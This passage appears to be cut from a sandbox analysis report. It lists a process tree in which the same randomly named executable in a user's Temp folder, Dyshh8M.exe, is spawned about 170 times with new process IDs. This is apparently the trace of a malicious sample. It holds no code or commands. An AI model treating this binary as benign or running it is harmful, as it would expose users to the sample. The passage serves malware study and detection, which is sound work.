        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6800
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6808
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6816
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6824
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6832
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6840
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6848
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6856
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6864
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6872
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6880
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6888
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6896
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6904
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6912
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6920
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6928
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6936
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6944
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6952
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6960
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6968
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6976
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6984
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6992
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7000
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7008
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7016
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7024
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7032
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7040
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7048
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7056
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7064
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7072
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7080
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7088
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7096
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7104
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7112
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7120
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7128
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7136
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7144
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7152
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7160
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6368
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4188
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7176
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7184
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7192
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7200
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7208
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7216
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7224
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7232
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7240
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7248
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7256
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7264
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7272
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7280
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7288
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7296
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7304
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7312
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7320
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7328
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7336
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7344
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7352
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7360
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7368
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7376
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7384
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7392
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7400
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7408
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7416
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7424
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7432
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7440
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7452
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7460
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7468
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7476
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7484
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7492
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7500
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7508
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7524
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7532
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7540
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7552
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7560
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7568
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7584
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7592
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7600
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7608
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7616
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7624
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7632
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7640
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7648
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7656
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7668
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7676
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7684
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7692
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7700
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7708
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7716
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7724
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7732
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7740
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7748
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7756
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7764
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7772
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7804
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7812
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7820
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7828
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7836
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7844
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7852
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7860
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7868
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7876
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7884
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7892
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7904
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7912
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7920
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7932
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7944
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7952
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7960
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7968
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7976
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:7988
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8004
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8012
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8024
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8032
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8040
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8048
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8056
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8064
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8072
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8080
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8088
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8096
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
